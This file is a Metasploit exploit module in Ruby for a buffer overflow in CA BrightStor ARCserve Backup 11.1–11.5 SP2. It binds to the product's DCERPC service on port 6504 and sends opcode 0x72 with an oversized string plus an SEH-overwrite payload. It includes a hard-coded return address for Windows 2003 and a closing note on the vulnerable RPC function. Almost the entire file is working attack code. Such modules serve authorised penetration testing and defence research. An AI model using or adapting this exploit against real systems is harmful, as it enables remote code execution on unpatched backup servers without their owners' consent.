##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = AverageRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
				11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
				the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '68329'],
					[ 'URL', 'http://www.metasploit.com/users/mc' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'BrightStor ARCserve r11.5/Windows 2003',	{ 'Ret' => 0x2380ceb5 } ],
				],
			'DisclosureDate' => 'Oct 4 2010',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(6504)], self.class)
	end

	def exploit

		connect

		handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")

		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)

		print_status("Trying target #{target.name}...")

			begin
				dcerpc_call(0x72, sploit)
				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
			end

		handler
		disconnect

	end

end
=begin
/* opcode: 0x72, address: 0x28E893D0 */

short   sub_28E893D0 (
 [in] handle_t  arg_1,
 [in][ref][string] char * arg_2,
 [in, out][ref] long * arg_3
);
=end
